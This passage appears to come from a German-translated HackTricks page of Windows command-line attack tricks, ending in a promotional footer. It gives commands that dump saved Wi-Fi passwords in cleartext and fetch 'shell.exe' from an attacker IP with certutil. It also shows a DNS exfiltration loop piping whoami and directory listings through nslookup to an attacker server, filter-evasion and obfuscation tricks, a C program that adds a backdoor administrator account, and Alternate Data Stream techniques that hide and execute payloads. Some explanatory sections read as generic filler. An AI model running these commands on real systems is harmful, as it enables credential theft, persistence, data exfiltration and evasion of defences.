/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -s ``` **Connect to a wifi network** ```plaintext networksetup -setairportnetwork en0 wifi_ssid wifi_password ``` **Disconnect from a wifi network** ```plaintext networksetup -setairportpower en0 off ``` **Enable wifi interface** ```plaintext networksetup -setairportpower en0 on ``` **Disable wifi interface** ```plaintext networksetup -setairportpower en0 off ``` ```bash netsh wlan show profile #AP SSID netsh wlan show profile key=clear #Get Cleartext Pass ``` #### SNMP SNMP (Simple Network Management Protocol) ist ein Protokoll, das zur Verwaltung und Überwachung von Netzwerkgeräten verwendet wird. Es ermöglicht das Abrufen und Ändern von Informationen über diese Geräte. SNMP verwendet eine Client-Server-Architektur, bei der ein SNMP-Manager (Client) Informationen von SNMP-Agenten (Server) abruft. **SNMP-Versionen** Es gibt verschiedene Versionen von SNMP, darunter SNMPv1, SNMPv2c und SNMPv3. * SNMPv1: Die erste Version von SNMP, die grundlegende Funktionen zur Überwachung und Verwaltung von Netzwerkgeräten bietet. Es verwendet eine einfache Community-basierte Authentifizierung, die jedoch unsicher ist, da die Community-Strings im Klartext übertragen werden. * SNMPv2c: Eine verbesserte Version von SNMPv1, die zusätzliche Funktionen und Verbesserungen bietet. Es verwendet immer noch die Community-basierte Authentifizierung. * SNMPv3: Die sicherste Version von SNMP, die erweiterte Sicherheitsfunktionen wie Verschlüsselung und Authentifizierung bietet. SNMPv3 verwendet Benutzernamen und Kennwörter für die Authentifizierung und Verschlüsselung für die Vertraulichkeit der übertragenen Daten. **SNMP-Tools** Es gibt verschiedene Tools, die für das Arbeiten mit SNMP verwendet werden können: * `snmpwalk`: Ein Befehlszeilentool, das verwendet wird, um Informationen von SNMP-Agenten abzurufen. Es durchläuft die MIB (Management Information Base) und gibt die abgerufenen Informationen aus. * `snmpget`: Ein Befehlszeilentool, das verwendet wird, um eine einzelne Information von einem SNMP-Agenten abzurufen. * `snmpset`: Ein Befehlszeilentool, das verwendet wird, um eine einzelne Information auf einem SNMP-Agenten zu ändern. * `snmptrap`: Ein Befehlszeilentool, das verwendet wird, um SNMP-Traps zu senden, die Ereignisse oder Fehler an den SNMP-Manager melden. **SNMP-Sicherheit** Da SNMPv1 und SNMPv2c unsichere Authentifizierungsmethoden verwenden, ist es wichtig, geeignete Sicherheitsmaßnahmen zu ergreifen, um die Sicherheit des SNMP-Verkehrs zu gewährleisten. Hier sind einige bewährte Sicherheitspraktiken: * Verwenden Sie SNMPv3, um erweiterte Sicherheitsfunktionen wie Verschlüsselung und Authentifizierung zu nutzen. * Verwenden Sie starke Kennwörter für die SNMP-Authentifizierung und ändern Sie sie regelmäßig. * Begrenzen Sie den Zugriff auf SNMP-Agenten auf autorisierte IP-Adressen. * Überwachen Sie den SNMP-Verkehr und suchen Sie nach verdächtigen Aktivitäten. * Aktualisieren Sie regelmäßig die SNMP-Software, um Sicherheitslücken zu schließen. **Zusammenfassung** SNMP ist ein Protokoll zur Verwaltung und Überwachung von Netzwerkgeräten. Es gibt verschiedene Versionen von SNMP, darunter SNMPv1, SNMPv2c und SNMPv3. SNMP-Tools wie `snmpwalk`, `snmpget`, `snmpset` und `snmptrap` werden verwendet, um Informationen von SNMP-Agenten abzurufen, zu ändern und Traps zu senden. Es ist wichtig, angemessene Sicherheitsmaßnahmen zu ergreifen, um die Sicherheit des SNMP-Verkehrs zu gewährleisten, insbesondere bei der Verwendung von SNMPv1 und SNMPv2c. ``` reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s ``` #### Netzwerkschnittstellen Network interfaces, also known as network adapters or NICs (Network Interface Cards), are hardware devices that allow a computer to connect to a network. They provide the necessary physical connection between the computer and the network, enabling communication between devices. Netzwerkschnittstellen, auch als Netzwerkadapter oder NICs (Network Interface Cards) bekannt, sind Hardwaregeräte, die es einem Computer ermöglichen, sich mit einem Netzwerk zu verbinden. Sie stellen die erforderliche physische Verbindung zwischen dem Computer und dem Netzwerk her und ermöglichen die Kommunikation zwischen den Geräten. ```bash ipconfig /all ``` #### ARP-Tabelle Die ARP-Tabelle (Address Resolution Protocol) ist eine Tabelle, die in einem Betriebssystem gespeichert wird und die Zuordnung von IP-Adressen zu MAC-Adressen enthält. Sie wird verwendet, um die Kommunikation in einem lokalen Netzwerk zu ermöglichen, indem sie die MAC-Adresse eines Geräts anhand seiner IP-Adresse ermittelt. Die ARP-Tabelle kann mithilfe des Befehls `arp -a` in der Eingabeaufforderung angezeigt werden. Dieser Befehl zeigt die IP-Adressen und die zugehörigen MAC-Adressen aller Geräte an, mit denen das System kommuniziert hat. Die ARP-Tabelle ist auch ein nützliches Werkzeug für Pentester, da sie Informationen über die Geräte im Netzwerk liefert. Durch Überprüfen der ARP-Tabelle können Pentester feststellen, ob ein Gerät möglicherweise gefährdet ist oder ob ein Angreifer versucht, sich als ein anderes Gerät auszugeben (ARP-Spoofing). Es ist wichtig, die ARP-Tabelle regelmäßig zu überprüfen und verdächtige Einträge zu identifizieren, um die Sicherheit des Netzwerks zu gewährleisten. ```bash arp -A ``` ### Herunterladen Bitsadmin.exe ``` bitsadmin /create 1 bitsadmin /addfile 1 https://live.sysinternals.com/autoruns.exe c:\data\playfolder\autoruns.exe bitsadmin /RESUME 1 bitsadmin /complete 1 ``` ## CertReq.exe CertReq.exe is a command-line tool in Windows that is used to create and submit certificate requests to a certification authority (CA). It is commonly used by system administrators and security professionals for managing certificates in a Windows environment. ### Usage The basic syntax for using CertReq.exe is as follows: ```plaintext certreq [options] [requestfile] [responsefile] ``` #### Options Here are some commonly used options with CertReq.exe: * **-new**: Creates a new certificate request. * **-submit**: Submits a certificate request to a CA. * **-accept**: Accepts a response to a certificate request. * **-retrieve**: Retrieves a response to a certificate request. * **-sign**: Signs a certificate request. * **-policy**: Specifies the certificate policy to use. * **-config**: Specifies the configuration file to use. * **-attrib**: Specifies additional attributes for the certificate request. #### Examples Here are some examples of how CertReq.exe can be used: * To create a new certificate request: ```plaintext certreq -new request.inf request.req ``` * To submit a certificate request to a CA: ```plaintext certreq -submit request.req response.req ``` * To accept a response to a certificate request: ```plaintext certreq -accept response.req ``` * To retrieve a response to a certificate request: ```plaintext certreq -retrieve request.req response.req ``` * To sign a certificate request: ```plaintext certreq -sign request.req response.req ``` * To specify a certificate policy: ```plaintext certreq -policy "PolicyName" request.req response.req ``` * To specify a configuration file: ```plaintext certreq -config "ConfigFile" request.req response.req ``` * To specify additional attributes for the certificate request: ```plaintext certreq -attrib "Attribute1=Value1&Attribute2=Value2" request.req response.req ``` ### Conclusion CertReq.exe is a powerful command-line tool for managing certificates in a Windows environment. It provides various options for creating, submitting, accepting, retrieving, and signing certificate requests. System administrators and security professionals can leverage CertReq.exe to streamline the certificate management process and enhance the security of their Windows systems. ``` CertReq -Post -config https://example.org/ c:\windows\win.ini output.txt ``` ## Certutil.exe Certutil.exe is a command-line utility in Windows that is used to manage certificates. It provides various functions for working with certificates, such as installing, exporting, and verifying them. ### Usage To use Certutil.exe, open a command prompt and type `certutil` followed by the desired command and its parameters. ### Common Commands Here are some common commands that can be used with Certutil.exe: * **-addstore**: Adds a certificate or a certificate chain to a certificate store. * **-delstore**: Deletes a certificate or a certificate chain from a certificate store. * **-store**: Specifies the certificate store to use. * **-view**: Displays the contents of a certificate or a certificate store. * **-exportPFX**: Exports a certificate or a certificate chain to a Personal Information Exchange (PFX) file. * **-importPFX**: Imports a certificate or a certificate chain from a PFX file. ### Examples Here are some examples of how Certutil.exe can be used: * To view the contents of the "My" certificate store, use the command: `certutil -viewstore -store "My"` * To add a certificate to the "Trusted Root Certification Authorities" store, use the command: `certutil -addstore -f "Root" ` * To export a certificate from the "Personal" store to a PFX file, use the command: `certutil -exportPFX -p -f ` ### Conclusion Certutil.exe is a powerful command-line utility for managing certificates in Windows. It provides a wide range of functions for working with certificates, making it a valuable tool for pentesters and system administrators. ``` certutil.exe -urlcache -split -f "http://10.10.14.13:8000/shell.exe" s.exe ``` **Finden Sie noch mehr, indem Sie nach `Download` auf** [**https://lolbas-project.github.io**](https://lolbas-project.github.io/) **suchen** ### Sonstiges ```bash cd #Get current dir cd C:\path\to\dir #Change dir dir #List current dir dir /a:h C:\path\to\dir #List hidden files dir /s /b #Recursive list without shit time #Get current time date #Get current date shutdown /r /t 0 #Shutdown now type #Cat file #Runas runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe" #Use saved credentials runas /netonly /user:\ "cmd.exe" ::The password will be prompted #Hide attrib +h file #Set Hidden attrib -h file #Quit Hidden #Give full control over a file that you owns icacls /t /e /p :F icacls /e /r #Remove the permision #Recursive copy to smb xcopy /hievry C:\Users\security\.yawcam \\10.10.14.13\name\win #exe2bat to transform exe file in bat file #ADS dir /r #Detect ADS more file.txt:ads.txt #read ADS powershell (Get-Content file.txt -Stream ads.txt) # Get error messages from code net helpmsg 32 #32 is the code in that case ``` #### Umgehung der Zeichen-Schwarzenliste In einigen Fällen können Webanwendungen bestimmte Zeichen in Eingaben verbieten, um Sicherheitslücken zu verhindern. Dies wird als Zeichen-Schwarzenliste bezeichnet. Es ist jedoch möglich, diese Beschränkungen zu umgehen und dennoch schädlichen Code einzufügen. Eine Möglichkeit, die Zeichen-Schwarzenliste zu umgehen, besteht darin, alternative Zeichen zu verwenden, die ähnlich aussehen, aber nicht auf der Liste stehen. Zum Beispiel kann das Zeichen "o" durch die Verwendung des griechischen Buchstabens "ο" ersetzt werden. Eine andere Methode besteht darin, die Zeichenkodierung zu ändern. Durch die Verwendung von Unicode-Zeichen oder Hexadezimalwerten können verbotene Zeichen umgangen werden. Zum Beispiel kann das Zeichen "a" durch den Unicode-Wert "\u0061" oder den Hexadezimalwert "61" ersetzt werden. Es ist wichtig zu beachten, dass das Umgehen der Zeichen-Schwarzenliste eine Form der Umgehung von Sicherheitsmaßnahmen darstellt und nur zu legitimen Zwecken verwendet werden sollte. ```bash echo %HOMEPATH:~6,-11% #\ who^ami #whoami ``` #### DOSfuscation Generiert eine verschleierte CMD-Zeile ```powershell git clone https://github.com/danielbohannon/Invoke-DOSfuscation.git cd Invoke-DOSfuscation Import-Module .\Invoke-DOSfuscation.psd1 Invoke-DOSfuscation help SET COMMAND type C:\Users\Administrator\Desktop\flag.txt encoding ``` #### Adressen-ACLs anhören Sie können auf [http://+:80/Temporary\_Listen\_Addresses/](http://+/Temporary\_Listen\_Addresses/) ohne Administratorrechte zu haben. ```bash netsh http show urlacl ``` #### Manuelle DNS-Shell **Angreifer** (Kali) muss eine der folgenden 2 Optionen verwenden: ```bash sudo responder -I #Active sudo tcpdump -i -A proto udp and dst port 53 and dst ip #Passive ``` **Opfer** Technik **`for /f tokens`**: Dies ermöglicht es uns, Befehle auszuführen, die ersten X Wörter jeder Zeile zu erhalten und sie über DNS an unseren Server zu senden. ```bash for /f %a in ('whoami') do nslookup %a #Get whoami for /f "tokens=2" %a in ('echo word1 word2') do nslookup %a #Get word2 for /f "tokens=1,2,3" %a in ('dir /B C:\') do nslookup %a.%b.%c #List folder for /f "tokens=1,2,3" %a in ('dir /B "C:\Program Files (x86)"') do nslookup %a.%b.%c #List that folder for /f "tokens=1,2,3" %a in ('dir /B "C:\Progra~2"') do nslookup %a.%b.%c #Same as last one #More complex commands for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('whoami /priv ^| findstr /i "enable"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i #Same as last one ``` Sie können auch die Ausgabe **umleiten** und sie dann **lesen**. ``` whoami /priv | finstr "Enab" > C:\Users\Public\Documents\out.txt for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('type "C:\Users\Public\Documents\out.txt"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i ``` ### Aufrufen von CMD aus C-Code In einigen Fällen kann es erforderlich sein, die Windows-Befehlszeile (CMD) aus C-Code heraus aufzurufen. Dies kann nützlich sein, um bestimmte Befehle oder Skripte auszuführen und die Ergebnisse in der C-Anwendung zu verarbeiten. Um CMD aus C-Code heraus aufzurufen, können Sie die `system`-Funktion verwenden. Diese Funktion ermöglicht es Ihnen, einen Befehl als Zeichenkette an CMD zu übergeben und die Ausgabe des Befehls zu erhalten. Hier ist ein Beispiel, wie Sie CMD aus C-Code heraus aufrufen können: ```c #include int main() { // Befehl, der ausgeführt werden soll char command[] = "dir"; // CMD aufrufen und den Befehl ausführen system(command); return 0; } ``` In diesem Beispiel wird der Befehl "dir" an CMD übergeben, der das Verzeichnis auflistet. Sie können den Befehl durch jeden anderen gültigen CMD-Befehl ersetzen. Beachten Sie, dass die `system`-Funktion blockierend ist, d.h. die Ausführung der C-Anwendung wird angehalten, bis der aufgerufene Befehl abgeschlossen ist. Wenn Sie eine nicht blockierende Ausführung wünschen, können Sie stattdessen die `CreateProcess`-Funktion verwenden. Es ist wichtig zu beachten, dass das Aufrufen von CMD aus C-Code heraus Sicherheitsrisiken mit sich bringen kann, insbesondere wenn Benutzereingaben in den Befehl einbezogen werden. Stellen Sie sicher, dass Sie alle Benutzereingaben ordnungsgemäß validieren und filtern, um potenzielle Angriffe zu verhindern. ```c #include /* system, NULL, EXIT_FAILURE */ // When executed by Administrator this program will create a user and then add him to the administrators group // i686-w64-mingw32-gcc addmin.c -o addmin.exe // upx -9 addmin.exe int main (){ int i; i=system("net users otherAcc 0TherAcc! /add"); i=system("net localgroup administrators otherAcc /add"); return 0; } ``` ### Alternate Data Streams Spickzettel (ADS/Alternate Data Stream) **Beispiele entnommen von** [**https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f**](https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f)**. Es gibt noch viele weitere dort!** ```bash ## Selected Examples of ADS Operations ## ### Adding Content to ADS ### # Append executable to a log file as an ADS type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe" # Download a script directly into an ADS certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\temp:ttt ### Discovering ADS Content ### # List files and their ADS dir /R # Use Sysinternals tool to list ADS of a file streams.exe ### Extracting Content from ADS ### # Extract an executable stored in an ADS expand c:\ads\file.txt:test.exe c:\temp\evil.exe ### Executing ADS Content ### # Execute an executable stored in an ADS using WMIC wmic process call create '"C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"' # Execute a script stored in an ADS using PowerShell powershell -ep bypass - < c:\temp:ttt ```
Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)! * Arbeiten Sie in einem **Cybersicherheitsunternehmen**? Möchten Sie Ihr **Unternehmen in HackTricks bewerben**? Oder möchten Sie Zugriff auf die **neueste Version von PEASS oder HackTricks im PDF-Format** haben? Überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)! * Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family). * Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com). * **Treten Sie der** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie mir auf **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an das** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **und das** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **senden**.